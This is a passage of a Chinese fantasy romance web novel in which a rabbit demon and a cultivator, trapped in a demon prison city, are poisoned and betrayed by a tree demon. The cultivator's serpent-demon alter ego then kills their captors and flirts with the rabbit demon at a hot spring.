玉扶气不过地道:“我们就抓这只木妖,拷问这座城的古怪!” 一说完,也不管息尘赞不赞同,极快化为原形地遁入地下。 不用带人时,玉扶速度快得惊人,于地下,在根须根本来不及撤离时,咬住了最粗壮的一根,搬山似的力道一旦揪住了,除非木妖自断臂膀,不然不可能挣脱。 显然的,这个木妖,并没有想象中的强,也没有断臂的胆量,不然也不会只偷偷地跟了。 “我不是来抓你们的,我是想求你们帮帮我。”低弱的男音从根系中传出。 玉扶哼哼地不信,哪有帮忙是偷偷跟着的? 分明就是被她抓住了,在说假话装可怜! 玉扶强硬地将木妖扯出地面。 息尘搭了一把手,视线于玉扶对木妖根系的咬合处停了停,道:“阿扶,松口,不要咬入脏东西。” 玉扶乖巧松口,呸呸了几下才化形,后知后觉地发现自己一点也不优雅,这个样子怎么让息尘觉得他们是一样的嘛。 息尘如果还一直将她当兽看待,什么时候才能一起修炼。 玉扶顿时更恼木妖,提着无相石聚合而成的锤子哐哐往木妖的根系上锤。 木妖顷刻疼得化出了人形。 是个文弱摸样的男子,藤蔓似的绿色妖纹从眉骨蔓至耳后,显出几分清新秀气:“请相信我,我对你们没有恶意,我也是不小心入了这座城。” “为何偷偷跟着我们?” “我们已经换了身上的气味,也没有于妖面前出现,你又是怎么发现我们的?” 玉扶越问,越看他别有用心。 木妖的腿部受伤弯折,仅用生出的根系固定着勉强站立回答:“我在半个月前误入这座妖城,一直在寻找离开的办法,但这处其是一处关押妖的妖狱,只要入内,便会受到束缚。” “我的能力有限,只能寄希望寻到伙伴。” “凶兽之流我并不敢上前,会发现你们,是因为我一直留有根系在入口附近,在你们入城时,我便通过根系见过你们。” “我能寻到你们,也是因地下是我们木妖擅长的领域。” “你们才入城几个时辰,我可以将我知晓的都告诉你们。” 木妖强忍着痛说完了半是求饶半是显露用处的话。 虽还是对他不信任,但玉扶和息尘现在确实缺少对这座城的了解。 且这木妖配合态度也颇良好。 “阿扶,便先听听他如何说罢。”息尘道。 玉扶自是没有异议:“好。” 木妖终于松下一口气地提议:“我有一隐秘可躲避之处——” 话未说完,玉扶就凶凶地瞪了过去,“不去。” 谁知道隐秘之所是不是出卖妖的。 “你现在就往地下用你的根系结一个空间,我们慢慢听你说。” 木妖没想到这个瞧上去涉世未深的小兔妖,防备之心竟然如此之重,但他也并不敢同另一个疑是人修的修士多言语,恐多说多错。 当下只与修士眼神怯弱地确认一下,便开始认命地往地下开拓足以容纳三人的空间。 在木妖努力干活时,玉扶眼眸直向息尘骄傲地示意,就像是在说:你看,我一点也不好骗吧。 她可是下山前经过整个宗门培训的妖。 息尘瞧得好笑,分明是想用眼压一压地制止她的骄傲,但笑意早已漫上了脸庞,失去了威慑。 玉扶顿时笑得更灿烂。 也就眉眼几个来回的功夫,木妖已将地下空间结好,他颇虚弱地请玉扶和息尘进入。 根须结成的空间在地下三丈左右,如同一个小房间一般,还贴心地用根须结出了一张圆桌并三张圆椅。 但根须总归有些缝隙,稍有些掉渣,息尘甫一进入,为根须多加了一道结界,整个空间都包含入内。 木妖见此,眸光微闪了闪,邀请道:“二位请坐。” 玉扶并不同她客气,坐下就道:“你说吧,你都知道什么?所有和这座城有关的都告诉我们。” “你可不要说谎!” “二位能力不凡,我想与二位合作都来不及,又怎会有隐瞒。”木妖面上带上了苦涩:“在下名木章,如二位所见,原身是棵樟树。” 玉扶点了点头,完全认同,这一片空间樟树的味就特别浓。 木章继续道:“我等草木要生出灵智常常比之兽类更难,也更看机缘,我于人界一山水灵秀之地苦修数百年,才方可化形离开根植之地。” “我虽非名贵珍惜灵木,但也有求道之心,苦求一小宗收留,没想,竟差点成了炼材,我听闻妖域不拒绝任何妖,便阴差阳错入了此地。” “此城与我所想大差径庭,非寻常妖城,而是一废弃的妖狱。” 终于说到了玉扶与息尘在意的点,玉扶直直盯着木章,等着他最好说些他们并不知的信息。 木章:“妖狱是妖王昔日所设,专用来关手下战败的妖。” “但妖王已许久不曾亲自出面理事,也无新的妖被关入,这座城便渐渐荒废……” 玉扶懂了,城虽荒废了,但之前被关入的妖还在,这些妖有胆挑战妖王的地位,能耐本就不俗。 他们于妖狱内继续争斗,继续相互吞食,最后胜出的,如今的城主,一只蛮虎妖,掌控了这座城,并且利用了这座城的规则,令所有过路,亦或是不知道这座城底细的妖,都有进无出。 那些脚腕处有一圈虎纹锁的妖,都是心甘情愿被蛮虎妖驱使的妖奴。 甚至,就连成为妖奴的机会都要抢。 否则的话,就如玉扶入城见到的第一条街道那般,相互争斗,相互吞噬,直到离开机会的来临。 而任何误入此城的女妖就是他们的机会。 蛮虎妖虽占据了这座城,但妖王昔日对他的影响尤在,他被困于这一城,空有掌控全城之力,独独出不去。 他被关变态了。 不过是听闻“龙生九子,各有不同”,便动了娶妻生子的念头。 自此一发不可收拾,不断娶妻生子成了他的乐趣。 甚至还建了一座专门用来收藏的园子,里头都是他的不同妻儿。 其中大半都是将母体力量吸食而死的怪物。 玉扶听到此简直倒吸了一口冷气,她知道的,越强大的妖是越难孕育子嗣的,因大妖的子嗣一般都会同普通的妖兽不同,从存在那一刻开始,就会吸收母体的养分,如果母体弱,那就另需父亲一方的力量维持。 她听姥姥说过,她生来就开了灵智,又生得健康,就是因为她的父母都爱极了她,在她还在母亲腹中时,父母便不断用最菁纯的灵息为她开智。 后来虽然他们在她很小时就不在了,但她在想起他们时,也常会感到温暖。 总之,就以玉扶知晓的来推测,以蛮虎妖娶妻生子的速度,母体一方定然不够强大,而蛮虎妖也并不会为了每一个孩子上心。 也就是说,一个孩子的诞生,是完全依靠母体养分的,甚至,因父方妖力更强,种下的种子也会更强悍,母体内的孩子,还会出现吸干了母体的养分,仍不够成型的情况。 最后诞生的孩子或许根本就是不完整的,难怪那些守门的妖会提到“怪物”。 只是因为一个猎奇,创造了许多的怪物,也抓走、残害了许多的女妖。 玉扶从未听过这样无耻混蛋的恶妖,简直就是妖中败类。 “我要干掉他!” 玉扶愤慨无比,木章也惊得看她一眼,但他并不认为她有那个本事,倒是—— 木章视线飞快扫一眼息尘,对他仍有些忌惮,他已能认定这人是人修,而且还是他也辨不出修为的人修,若非情不得已,他倒真想同他们合作。 可惜没有如果,不牺牲他们,那他的兰娘就要在今日嫁给蛮虎了,这同让她去死又有何区别。 况且,若非城中突然多了个人尽皆知的兔妖,城主也不会突然提前了迎娶的日子。 就在他主动寻上眼前一人一妖之前,他分出于城主府的枝桠听得,城主听闻城中又来一貌美女妖,大喜,决定今日娶一个,明日抓到兔妖后,再娶一个。 他不得不尽快下手,先用兔妖将兰娘换出来才是。 他紧张地计算着时间,不期然地对上了人修的视线,惊得一跳,一个对兔妖百依百顺眸色一直温淡平和的人修,眸色怎倏地沉得可怕,是发现了什么吗? 再等等,只要再等一会,无处不在的樟木气息,就会被他吸入更多,漫入此人体内的樟木毒素,会麻痹他的经络,令他无力……兔妖,兔妖倒并不用在意,她早前咬过自己,他的汁液恰可以减缓毒素对她的影响……不会被发现的……一切都如计划……再等等…… 息尘隐约觉得他有些异样,但他此刻,不得不将更多的注意放于识海深处,禁制下的意识不知为何,冲撞得得激烈,震得他识海都在动荡。 他强压着动荡,问:“既蛮虎妖都离不开,他又如何能送其他人离开。” 玉扶登时点头附和,也看向木章。 虽同时被一人一妖盯着,但发现所问并非他害怕的,木章暗松下一口气,回答得越发认真:“蛮虎离不得,是因囚他的是妖王,而旁的妖,不过是蛮虎个人所为留下的,只要他愿意,便可放得妖离去。” “你如何认定我们能帮你?”息尘再次凝神打量此妖,不止是玉扶,他也总觉此妖似仍有不实之处,太过主动,也太过热心…… 为何他的眼前有些花?声音也开始听不真切? “息尘,你怎么了?”玉扶发现了息尘的不对。 息尘:“阿扶,快跑。” 息尘罩下的结界轰然碎裂,支持一方空间的根须倏地缩紧,但息尘即便被毒素浸入了筋脉血液,也不容小觑,生生从盘结交错的根须中为玉扶破开了一道口子。 就同之前约好的一般,遇到危险,玉扶要先跑。 玉扶也如约在根须破开的一瞬蹿了出去。 木章又急又恼恨,想去追玉扶,但人修实难缠,不得已,只能先放一放玉扶,她也中了他的毒素,即便发作更慢一些,也跑不远,料理了人修才是。 所有的根须在向上攀,巨大的动静,惊动了许多妖,根须散开,息尘暴露于众妖眼前—— 木章笑了,他将人修送到的是妖最密集之处。 他悄无声息地收回根须,妖城中许许多多的草木受到他的联络,大范围地开始寻起玉扶。 * 玉扶觉得自己跑了很久,可她的身体越来越沉,脑袋越来越昏,她开始失去力气,但她还想之后去瞧瞧息尘,他没跑出来,一定比她还惨,他是人修啊。 可是,他那么厉害,一定不会有事的吧? 玉扶不确定了,她昏昏然地召唤出无相石,一层又一层地将自己裹住,直如融入了大地。 木章寻来时都险些错过,也颇废了些力气才将玉扶挖出来。 地下简直如是木章的世界,来去尤为自如,他骗了玉扶与息尘,他一颗小小樟树,要成妖,怎可能单单是修炼了几百年,他还盗了许多偏远宗门的许多灵药,他是在南境小宗门中出了名的小偷。 但这里是妖域,没有人认得他。 他也必须救兰娘,兰娘与他一同逃至妖域,在误入此城后,是为帮他引开那些恶妖,才被抓献于城主。 很快,他带着玉扶到了一处园子,园子非常的四不像,没有半分人族中的雅致,更像是洞穴与一些整座搬来的建筑拼凑在一起。 这是蛮虎用来看押要娶的女妖之处,他没有直接进入,而是先通过根须连接园子内部的草木,又通过这些草木为耳目,寻找兰娘的方位。 一间黑沉沉的室内,红帐红得刺眼,一女子如同木偶一般被妆点打扮。 而那些为女子妆点打扮的妖,个个枯槁麻木。 这几日,兰娘也不是没有试图从这些老妪口中套出一些话,但她们的话少得可怜,她们似乎连情感也没有,只是单纯地看住她。 她祈求她们放过自己,然她们看她的目光没有怜悯,只有麻木了的冷然,按部就班地押着她沐浴、试衣,压着她接受事实。 于一张张枯槁干瘪的老脸中,她似见到了自己日后,她会如蛮虎妖过往数十次的娶亲一般,短暂为这座城带来一点亮色,然后就是死寂,独属她的死寂。 她会被迫怀上蛮虎妖的孩子,在所有妖的猎奇中,诞下一个不知是怪物还是什么的孩子,这个孩子会吸干她的妖力,她可能会死,可能会疯,还可能枯槁地活下来,变成同这些麻木的老妪一样,等待着下一个同样遭遇的女妖出现,然后短暂地获得一点将人拉入深渊的愉快。 光是想到,就已让她后悔为木郎做出的牺牲,她分明能再躲一躲,再藏一藏,不这么快被抓到。 她开始宁愿死在外头,也不要入了这虎穴。 这是比地狱还可怕的地方。 即将被迎娶,她的神经也变得越发敏感,在疯的边缘不断徘徊,也是这时,她感到了一丝熟悉的妖力,生机无比的樟木气息。 一段根须从空荡的婚房砖缝中冒出。 她跟着根须绕到了墙尾。 这是一座没有半点审美拼凑的院落,以至房屋墙尾连的竟是洞府似的石质外壁,草木之坚韧,于石壁生长也是常有的事。 石壁极快地生出一棵树,化为了人形:“兰娘,我带你离开。” 几乎是在同一刻,兰娘扑进了木章的怀中无声哭泣,她悔过为让他逃做出的牺牲,可见到他出现的那一刻,兰娘就什么也不想了,她本就是一株野兰,侥幸开了灵智,全靠木章盗来的灵药,才得以化形。 她摇头:“木郎,我走不掉的,蛮虎对这座城的掌控你是听闻过的,我若是在他大婚消失,定然会寻到你身上。” “我带了一兔妖来顶替你。”木章握紧了兰娘的手:“至少今日我可以先带你离开。” “兰娘,我不愿你去嫁他,我想明白了,即便是死,我也想与你死在一起。” 兰娘听得兔妖,惊了一惊,顿时更加感动,木郎分明,分明能献上女妖,换得离开的机会。 可比起这个,他竟更想救出她,与她同死。 泪水汹涌,浸湿了木章的衣袍,木章更拥了她拥道:“我观同兔妖一起的人修不俗,他虽中了我的毒素,但恐限制不住他多久,若他没死在众妖的手中,今日城中必然有一场大闹。” “到时,说不得我们还有离开的机会。” 他们并非妖奴,身上不带虎纹锁,那他们只要有机会离开,就有很大的几率逃出虎穴。 “那兔妖在哪?”兰娘擦干了泪,“我们尽快让她替代了我。” 她已然觉得,无论生死,逃出这,同木郎死在一块也是值得的。 木章根须于地下拉扯,玉扶很快落于二人眼前。 木章的毒素,令玉扶全身既僵硬,又安详,瞧着就像是睡着了一般。 木章是普通草木成精,可也正因原形的寻常,往往会令人对他所散发的寻常味道掉以轻心,他的香,从来不止入药与防虫,还有毒。 尤其是成精化妖后,他更加精练自己的毒素,即便是不吸入,只要于他附近,便会通过肌肤渗入,他昔日能每偷必成,也盖因精于此道。 玉扶与息尘二人,不止是吸入了空气中的,甚至还坐了他根须所化桌椅,中招从一开始就是必然。 木章并不认为自己做的不对,妖本就少廉耻,不是他死,那就只能是别的妖死。 况且,既然都是要死的,那为何不能成全他与兰娘死在一处。 他从他们入城,就已盯上。 很快,兰娘为玉扶套上了艳红喜服,胡乱插上一些发钗,盖上盖头,扶她靠在床靠上。 兰娘的妖力被暂禁,但毕竟是植妖,木章带着她,比带着玉扶还轻松。 当几个老妪再入房时,已是到了送嫁的时辰。 打头的老妪,见靠床的新一动不动,上前掀开点她的头盖,惊得后退了一步。 新妇换了妖! 旁的老妪也上前几步,露出几分惊异,分散开于房中寻到踪迹,又重聚一处,各自摇头。 “就用她替代吧。” “能寻了人来替代,也不算令我们难做。” 她们早已对城主娶妻一事麻木,娶的是谁也从来无所谓,只要满足城主的娶妻要求即可,至于逃掉的,能逃出这座城才是真的逃掉,仅仅是出了这一处园子,城里的妖,哪会放过一个机会。 可那真的是离开的机会吗? 蛮虎自己都离不开,又怎会真给出妖离开的机会? 不过是以此寻乐罢了,所有争得头破血流送上女妖的妖,早就在其提出离开就死了,代替他们出城的是披着他们妖皮的妖奴。 而于城外溜达一圈给城内妖带来希望的妖奴,除了死之外,只有重新回来一个选项。 没有一妖能离开这座妖狱,没有。 她们机械麻木地为玉扶重理婚服,扶上了轿辇。 轿辇红帐飞舞,玉扶意识稍有恢复,但身子仍旧好重,勉力撑开一丝眼,全是红的,好像到处都是红的。 遥远似还有打斗声响传来。 筋络中的灵力凝滞,息尘又被一妖抓伤。 血染红了他素色的衣袍,有他自己的,也有一些妖的,捏出的言法,逐渐从大打折扣,变得不灵。 些许恶妖开始将他当做囊中之物,甚至开始相互争夺起来。 妖狱中可没有这样特殊的人修,谁吃下,谁的修为或可大增。 息尘抓住他们争夺的缝隙,凝力遁空,凭着气息去寻阿扶。 木妖将他扔至群妖聚集处,定然会去寻阿扶,阿扶危险。 她只是一只小兔,息尘不敢想,阿扶会遭遇什么。 杀了蛮虎妖! 息尘从未迸发过如此强烈的杀意,禁制似在松动,但他已经失去了去在意去镇压的气力。 越来越多不属于他原本意识的念头占据了脑海,眼尾浮出细鳞一般的蓝光,瞳仁出现一道金色的裂缝,破开虹膜,危险如兽。 他的气息也开始发生变化,庞大的妖息涤荡开,周遭都如是他铺展开的域界一般晦暗。 一些血雾从域界中弥漫开,偷跟的妖毫无逃离能力地化为了血雾。 再次出来的裴息尘眸底赤红阴冷,息尘阻挠他出来暂且不提。 他的小兔,被人抢走了。 是的,他的小兔。 裴息尘一直如此认定。 他凭着玉扶的气息,一路杀,一路寻。 沉寂许久的凶剑破开封印,从储物袋中飞出。 * 此时抬着玉扶的轿辇,已从迎亲街道入了蛮虎所在的城主府。 说是城主府,其实更像是一个石头堡垒,黑沉沉的,偏又挂着许多的红绸。 比起喜气,更多的反而是压抑。 玉扶满耳都是各种妖的饮酒和吃肉肆笑声,她被推了一把,盖头被掀开。 “兔妖,怎么是兔妖?” “城主今日娶的不是一花妖吗?” “我等岂不是要重新作赌了?” “这是今日城中传的兔妖?” “城主真乃神速也,这般快就将兔妖也收入囊中了!” …… 种种恭维中,蛮虎妖的面色好了许多,兔妖便兔妖,总之都逃不掉。 他的大掌正要抚上玉扶的腰,玉扶积攒了一路的气力倏地爆发,她变得巨大,周遭的石头也在顷刻间被无相石吸引,重新组合。 玉扶就如一被裹着的巨大圆球,滚到哪里,就破坏到哪里。 城主府的堡垒崩塌,不少赴宴的妖被玉扶压得四散奔逃。 但这种压倒性的胜利也就一瞬,玉扶体内的灵力凝滞了,一动,那些没散的毒素直往她骨缝里钻,难受死了。 而外头的各妖也反应过来,一掌一掌,一刀一刀劈砍着她。 玉扶身形维持不住巨大化地缩小,但紧裹着自身的石球仍有一层楼那样高,虽然很窝囊,可多活一会是一会。 足有一刻钟,石球还是被越剥越小。 恐怖的威胁近在咫尺。 她听到蛮虎妖打雷一样的声音,她惹怒了他,他要剥她的皮做围脖,还要将她的肉与众妖分食…… 玉扶努力憋了憋,企图将让她难受没有力气的毒素逼出来,这样她就能在死前,再给这恶妖一个大嘴巴子。 然,不知为何,外头渐渐没了击打她石壁的动静,只有一些如风刮过的声响,快得都捕捉不到。 那些谩骂威胁都不见了,有人用手敲击她龟壳一样的石壁。 “阿扶,我的小兔子,出来吧。” 慵懒拉长的语调,绝不是息尘的口气,可于现在的玉扶来说,就是中邪了的息尘,也是天使。 石壁自发剥落,又在一瞬感知到强大的妖息,霎时结实地裹上了。 这最紧实的一层是无相石本体,快得就如同她的心意。 虽只有一瞬的感知,可也足以玉扶发现这次息尘中邪的程度加深了不止一点。 她竟然从息尘的身上感知到了浓烈的妖息,还是极为强大的那种大妖外放才有的妖息。 玉扶不动了,息尘就算是中邪,就算是身体里还有一个他,那他也是人族不是吗? 怎么会与她是同类啊? 玉扶想不明白,决定晕过去。 裴息尘最后只捡起了晕过去的兔子:“怂兔子。” 他将玉扶塞入怀中,手中凶剑发出一声嗡鸣,没杀够的兴奋。 狼藉一片的城主府区域,只有一具一具妖修的尸体,哦,还有一个活的。 蛮虎妖,妖狱城主。 他的四肢被削,口舌被堵,但还活着。 只有他活着,这座城的禁制才会还在,才会没有妖能逃走。 木妖,花妖—— 裴息尘勾起残酷的笑,又骂一声“废物”。 骂的息尘,真是当佛修当傻了,连妖的当都会上,甚至在被围攻之时,还愚蠢地迟疑了。 不管是妖还是人,不听话的,就该都杀了。 玉扶并没有晕很久,但当她醒时,她能更加清晰地感觉到,她不是在做梦,满满煞气的妖息是从裴息尘身上散出的也没错。 而且,还是她最怕的种类,滑溜溜,冷冰冰的蛇。 他的手抚在玉扶的脊背。 玉扶想抖,可又不敢抖,她再次推翻了裴息尘不吃肉的揣测,蛇的话,是吃兔子的吧,还是能一口吞那种。 “阿扶,不要装睡了。” 又是那种懒洋洋低哑的嗓音,玉扶不觉欣赏,只觉得好危险。 然后,她就乖乖地醒过来了。 但息尘显然还不满足,手指推了推玉扶,道:“变回来,让我看看你。” 比起玉扶的原形,裴息尘更喜欢玉扶当他的面化形,他知晓的,这只又怂又有色心的兔子,对息尘怀的什么心思。 她想着法地让息尘适应她的化形,也只有在害怕和虚弱时,才会变回兔子。 既如此,他偏要抢过来,让她也在他的面前习惯化形,习惯不害怕他。 玉扶没法,只能乖乖地化形,但她被他满是煞气的妖息影响,怕得忘了先滚下去了。 以至她竟坐在他身上化了形,她腿软得要下去,后腰被掌住,裴息尘捏起她的下颌,低低地笑:“阿扶,我的乖小兔。” 玉扶被迫昂头,这时才清晰留意到他的形容,他的发好乱,甚至还有血迹,可他又根本不管地向着她压下脸,发也随之向她倾来。 乌黑乌黑的,还带着些微的弧度,映着他的脸,令人窒息的秾丽。 玉扶在这一瞬,无比深刻地肯定,他是男妖精,只有妖才会漂亮得这样一点圣洁感没有。 也只有妖才会没有羞耻心。 他用他的鼻尖碰她,用额头触她,还用唇舔她。 又是眼尾的地方。 “看来这次没有吓到哭。”裴息尘舌尖卷过玉扶的气息缩回薄唇中。 但那舌也太灵活了些,在玉扶的盯视下,又探出一点地在下唇扫了一圈。 极快。 快得玉扶开始怀疑自己的眼睛,那好像不是人才有的舌。 她身子不受控地软下去,中邪息尘的出现,每次都能给她带来不一样的恐惧。 然而,也是这一软身,她的视线也落到了他的身上,都是各种伤口,甚至还有撕扯的痕迹,是牙齿锋利的妖留下的。 裴息尘顺着她的视线,又托玉扶一把地令她与自己靠近,眼神挑剔,语调也阴阳怪气的:“都是“他”受的伤,没用的废物。” “阿扶,你现在心疼的是“他”,还是我?” 他箍着玉扶的力道在收紧,好似只要她说一句不顺心的话,就会咬她一口。 玉扶被问懵了,认为裴息尘有病,管她心疼谁,这不是同一具身体吗? 她的神情太好读懂,裴息尘偏不喜欢这种混为一谈的看待:“他是他,我是我,别把我同废物相同并论。” “下去。” 裴息尘松开了玉扶。 他生气了,玉扶肯定。 所以她下去得极快,极灵活,泥鳅一样就要滑离。 裴息尘又不爽快了,眼利地一拉一带,将玉扶重新拉回,他也往身后的废墟一样的墙体靠下。 玉扶不得不双手撑住了他的胸膛坐稳。 裴息尘的手带力道地覆在她手上:“色兔子,你到底知不知道是谁救了你?” “给我包扎。” 他压下的眼,带上了威胁。 玉扶本也没决定不管他,不管怎么说这都是息尘的身体呢,而且她也不是没良心的兔子,“唔”一声,算是答应了。 眼虚虚上抬,飞快扫一眼,才低着头嗫嚅道:“你得起来,衣服也脱了,我才好看你都伤在了哪,再处理。” 裴息尘盯着玉扶,慢慢露出一个果然如此的笑,干脆地带上玉扶几个闪身,进入了一个溶洞中。 洞中雾气氤氲,有地泉。 裴息尘放下她,就开始边走边脱衣。 修长的形体,精悍的肩背,长袍布料顺着肌肉纹理的走势滑落—— 内里分明还有一层,玉扶却已惊得转了身。 她是想看的,毕竟没看过呢,息尘又惯常包的紧。 可是,这是中邪的息尘,他好凶的。 她色心很大,可色胆却很小,又活过一个妖狱危险,玉扶很惜命。 裴息尘入了水,适宜的温度,令他舒服得撑开肩背靠在光滑的石体上,身上的伤也在不自觉地愈合着。 这具身体正在恢复妖性的部分,他坚硬的鳞片和皮肉,也会反应在身躯之上,这些伤其实根本不用包扎。 但扫一眼背着身,怂怂的兔子,心情不太美妙,他止住了伤口的愈合,提声道:“还不过来?” 玉扶身子一颤,眼下妖纹也闪过,抱出一堆的伤药和丹药,有息尘让她买的,也有她从山上带下来的。 她低着头,不让自己多看地将东西放在了裴息尘可以拿到的距离。 想用这些药打发他? 几乎不给玉扶反应的,裴息尘在她放下一瞬,拉住了她的臂。 哗啦啦的破水声,玉扶紧张得闭了眼:“呜呜呜,你别拉我,我会忍不住的,这里有药,你自己吃了就能好的。” 裴息尘懂了,这色兔子是想看又不敢看,叫他脱衣服时候的胆子去哪里了? “不是你叫我脱的?你得给我上药。”裴息尘并不放开玉扶,甚至沿着池边,更靠近了玉扶一点。 听着像是要上来的动静,玉扶焦急反驳:“我也没让你全脱,哪有上药全脱的人!” “你不知羞耻!” 没羞耻的兔子说他没羞耻,裴息尘都气笑了:“你不是妖吗?我也是妖,妖不都这样。” 这是玉扶常说的话“我是妖嘛,我控制不住自己”,“我是妖嘛,妖都这样”,但听到这话从裴息尘的口中出来,玉扶还是吓了一跳,他也是妖? 他真的是妖? 她真的没有感觉错,玉扶再不能自欺欺人地骗自己了,她好大一个佛子,原来身体里还有个妖。 “你这什么表情?”裴息尘强掰过她的脸,仔细观察:“阿扶,你是惊喜坏了?” “你喜欢的佛子身体里,有一半的妖血,你难道不该感到开心吗?” “你何必总想着“他”呢,得到我也是一样的。” 他松开玉扶,又享受地往池中滑去,蛮虎妖藏着的这个池子很合他的意,他甚至换了个角度,更好地欣赏玉扶,他从她身上感到愉悦,尤其是她那对息尘幻想破灭的神情,他尤为喜欢。 看,佛子并不圣洁,他体内有妖的血脉。 他与她才是更接近的存在。 所以,阿扶,选他吧—— 第23章 裴息尘笑得越发慵懒肆意, 仿佛有无尽的耐心等待猎物的醒悟。 而玉扶脑中打架的小兔子也被他的一番言论勾得又出现,乱糟糟的,一个又一个地出现。 有开心坏了的:“息尘身上有妖的血脉, 原来我们很接近。” 又有摇头不认的:“息尘是息尘,裴息尘是裴息尘, 他们根本不能按一个人算。” “身体不还是同一个嘛, 吃到度过渡情期不就好了?” “师姐们不也是这样找情人的, 难道你还想一直留在他身边?” “你不想回山上了?” 一问又一问, 玉扶的本体小兔就像是被它们围在了中间, 她在摇头,她当然是要回山上的。 可跟同息尘久了,她于妖性之外, 又学会了许多她也说不明白的东西, 会让她生出一种接受了裴息尘就背叛了息尘的愧疚感来。 但很快又有一小兔诱哄似的劝诫:“你是妖,妖不就是这样快乐就好吗?” “你难道不想借助他快些恢复修为吗?” “你要一直窝窝囊囊到什么时候?” 玉扶像是被骂清醒了似的睁眼,一点一点地摸到了裴息尘的身旁,手心放着一颗对外伤极好的复原丹。 裴息尘一低眼, 就能瞧见于眼下几寸远的手, 粉玉一般, 柔白细嫩,但一直在细细地抖—— 又怂又贪心的色兔子。 裴息尘心下不甚愉快地笑了笑,湿淋淋的手自下抬住了玉扶的手, 送至唇边,下颌一低, 丹药入口。 玉扶双靥涨红,她要哭了,这人, 比她还像妖,吃药就吃药,竟然还舔她手心。 冰冰凉,酥酥麻的,同地泉蒸腾的温度一起,活像是冰火两重。 她“呜”地一声期艾道:“你不要抓着我的手了。” 她甚至只敢说不要抓她手,“舔”之类的词提都不敢提,她的常识与色心在比她还不按常理的妖面前,如见大巫的小巫,含蓄了不知道多少。 裴息尘细细舔去最后一点根本就是他身上落下的水渍,偏眼望向玉扶,她真小,跪坐一团,被打湿的红绫裙隐能透出一些她内里的小腿,也在抖,害怕得可真喜人。 更不想放过她了。 玉扶是侧跪着向息尘递丹药的,刚好将药送到他面前,又避开了看到不该看的,她总是很胆小,很谨慎,即便屈服了,也试探得只进步一点儿,此刻手被抓着,另半身几乎是向着裴息尘相反方向倒的,全靠着另一手撑地支着。 完全是生理性的抖。 若从侧面看的话,她也完全是想要逃离的姿态,是恶霸似的裴息尘拉住了她,可裴息尘偏生就享受着这种拉锯。 她越怕,越惨,他越愉悦。 他喜欢她一边怕,又一边对自己的接近。 有种胜利的美妙感。 看,阿扶也不是非息尘不可的嘛。 他当然会将玉扶照顾得比息尘还好,不过不是现在,他勾手用力,将玉扶带得倒向了他的这一侧,伏着身地同他对视。 “阿扶,上药可不是你这样送一颗药丸就结束的。” “你看都不看我,怎么知晓我身上还有哪些伤?” 他原先抓着玉扶手掌的手,此刻顺着玉扶的倾身,抚向了她的脸颊,嗓调也仿佛被氤氲的热气温过一样稠。 玉扶完全被冲击得失去了声音,她的脑子好像空白的一片,只能俯眼瞧见裴息尘秾丽的容色,湿漉漉的发不断往下淌着水,一滴一滴,落到修韧挺阔的胸膛。 玉扶宛如目眩地昏然,他好妖精啊。 她就从来没有想过这样诱惑息尘,师姐们分明也教过这种手段的。 玉扶觉得自己要晕了,她受到的冲击超过了她的承受能力,沸腾的渡情期热流兴奋得她“嘭”一下变成了兔子,跌入水中。 她总这样,兔子的时候,兴奋想变成人扑倒息尘,人的时候,又怵裴息尘,干脆变成兔子。 咕噜咕噜呛入了好几口水,玉扶觉得自己脑子都清醒多了,然这水可真清啊,怎比在上头看得还清楚啊。 她看见了好白的身体,好结实窄瘦的腰部,好漂亮的流线…… 玉扶这回是真的晕了。 水面上鼓出一连串的泡泡,继而浮起一只小兔。 裴息尘挥开些蒸腾的水雾,捏起飘过来的小兔,嗤道:“没出息。” 他有些不服气地摇了摇她,怎对着息尘都能做梦都扑上去,到他这不是晕就是晕,真信任他不会吃了她? 裴息尘咬牙似的做样往她脖颈处比了比,太小了,下口都没地,还是生吞的好。 玩了一会觉得没趣,才将玉扶送到了池边。 然,晕了的兔子怎么还能这样地有存在感? 她每动一下,裴息尘就瞥一次眼,她不动,他又担心她死了,还是忍不住看一眼。 无法,他换了个面向继续泡池,于池中懒洋洋地探出些尾巴尖,给玉扶翻面烘毛。 玉扶开始觉得冷,但慢慢的又觉得暖,还有什么尖尖软软的东西戳她的肚子,好痒,她下意识地抱起就咬了一口。 裴息尘豁地缩回自己的尾巴,瞳仁被激得竖起,过电一样的酥麻一直传到尾椎骨。 缓过了这劲,他才抬起尾巴于眼前,尾巴尖委屈地垂着,一个浅浅的牙印于鳞片上折射出一些润泽的光,按理,他就算是尾巴尖也不该这么脆皮,但妖性还在恢复的阶段,就连这放出尾巴,都是二百多年来头一遭。 鳞片还没长结实,就被咬了一口。 裴息尘磨了磨牙,身后浮现一个巨大的蛇影,张牙舞爪地对玉扶张开了口,玉扶半分知觉都没有地翻了身。 裴息尘哼气地收回了蛇影,于尾巴尖施了个留存的小法术,他要留着这痕迹,日后寻她讨回来。 尾巴重新入水,哗啦地从水中起身,那些受伤痕迹皆已不见,储物中飞出他要的衣袍,绀宇色的,松散披着,朝玉扶弯身时,逶迤出绮丽贵气的纹路。 玉扶随之落入他怀中。 明明泡了那般久的温泉水,可他身上还是凉的,玉扶不由偷偷耸了鼻。 她其实已经醒一会了,就在不知道咬到了什么崩到牙的时候,她完全不敢睁眼,尤其是那巨大的蛇影,更是吓得她不敢动弹。 有时候她真宁愿自己能多晕一会,但除了起初毒素的影响,后头的晕倒,都不过是暂时性的逃避,根本晕不了多久。 就好比现在,她装的就好累。 她好想动一动,好想离裴息尘远一点,他穿的太少了,身上好凉,他贴得她好紧,她脑中总不受控地回想起于水下见到的腰腹,思维也发散得没有边际…… 她开始想,她是妖嘛,哪有什么背叛不背叛,息尘回来她也会继续喜欢息尘的,她只是暂时被另一个他吸引了一下。 她是妖嘛,控制不住自己,不是很正常。 她主动地动了动,贴了贴裴息尘。 她就跟小暖炉一样,熨帖的很,就是毛贴着皮肉蹭有点痒。 裴息尘初时享受,然后就受不了地将她拎了出来,“醒了就变回来。” “把我当坐骑,可美得你了?”他危险地眯了眯眼,但怒气却是没有的。 玉扶落地就化回了少女,脸蛋飘着些可疑的红晕,一看就不是在想好事。 裴息尘唇角翘了翘地嗤她,色兔子。 外头仍旧是废墟的一片,硕大的月亮,照得整座妖城比玉扶印象中还要破。 她有些不知晓到底发生了什么,她只记得,裴息尘一出现,原先的所有危险就都不见了,她的威胁只剩下了他本身。 如果非要选的话,那她是宁愿承受后者的,裴息尘再怎么样,也只会一口吞了她,不会剥了它皮毛。 “我们去哪?”玉扶几步跟上裴息尘。 “带你去看好戏。” 裴息尘扯出一抹笑,身形很快移动到老远。 